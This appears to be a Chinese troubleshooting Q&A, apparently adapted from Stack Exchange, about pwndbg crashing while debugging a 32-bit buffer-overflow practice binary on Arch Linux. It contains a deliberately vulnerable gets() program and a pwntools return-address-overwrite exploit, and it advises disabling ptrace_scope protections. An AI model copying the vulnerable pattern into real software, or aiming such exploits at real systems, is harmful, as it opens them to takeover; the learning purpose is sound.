Arch Linux下pwndbg调试Hook时崩溃问题求助
栈溢出调试中pwndbg崩溃(SIGKILL)及pkg_resources警告问题解决
问题重现
- 环境:Arch Linux x86_64
- 编译命令:
gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32 - 操作:用pwntools编写exploit脚本,通过
gdb.attach启动pwndbg,执行r命令后发送payload,进程以退出码-9(SIGKILL)终止;exploit界面抛出BrokenPipeError和EOFError - 附加问题:每次启动pwndbg收到
pkg_resourcesAPI弃用警告 - 对比:相同操作在其他设备可正常运行
原C源码
// gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32 #include <stdio.h> void unsafe() { char buffer[40]; puts("Overflow me"); gets(buffer); } void main() { unsafe(); } void flag() { puts("Exploited!!!!!"); }
原exploit脚本
from pwn import * context(os='linux', arch='amd64') context(os='linux', arch='amd64', log_level='debug') context.terminal = ['alacritty', '-e'] p = process('./vuln') gdb.attach(p, 'b *0x080491aa') payload = b'A' * 52 payload += p32(0x080491c3) pause() p.sendline(payload) p.interactive()
问题排查与解决方案
1. 修正exploit脚本的架构配置
原脚本错误将架构设为amd64,但编译的是32位程序,上下文不匹配会干扰调试交互。
修正后的脚本:
from pwn import * # 修正为32位架构i386 context(os='linux', arch='i386', log_level='debug') context.terminal = ['alacritty', '-e'] p = process('./vuln') # 断点地址需与目标程序匹配,可通过objdump -d vuln验证 gdb.attach(p, 'b *0x080491aa') payload = b'A' * 52 # 40字节buffer + 8字节EBP + 4字节返回地址偏移,需实际调试确认 payload += p32(0x080491c3) # flag函数地址可通过objdump -d vuln | grep flag获取 pause() p.sendline(payload) p.interactive()
2. 解决pwndbg的pkg_resources弃用警告
Arch Linux默认Python版本(3.10+)已弃用pkg_resources,pwndbg旧依赖触发警告,解决方式二选一:
- 切换到pwndbg开发分支:
cd ~/pwndbg && git checkout dev && ./setup.sh,开发分支已适配新版Python - 手动替换代码:将pwndbg中
import pkg_resources替换为from importlib.metadata import version,并调整版本检查逻辑
3. 排查系统层面SIGKILL触发原因
SIGKILL多由系统安全机制触发,检查以下项:
- 调整ptrace权限:执行
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope,允许进程被调试;写入/etc/sysctl.d/10-ptrace.conf可永久生效 - 检查systemd限制:执行
loginctl show-session $(loginctl | grep $USER | awk '{print $1}') | grep AllowPtrace,若为no则修改为yes - 关闭不必要安全工具:如AppArmor(Arch默认无,但需确认第三方工具)
4. 重新确认编译参数
添加调试信息参数,确保编译无遗漏:
gcc source.c -o vuln -m32 -no-pie -fno-stack-protector -z execstack -g
内容的提问来源于stack exchange,提问作者CuB3y0nd
相关产品推荐
相关产品推荐

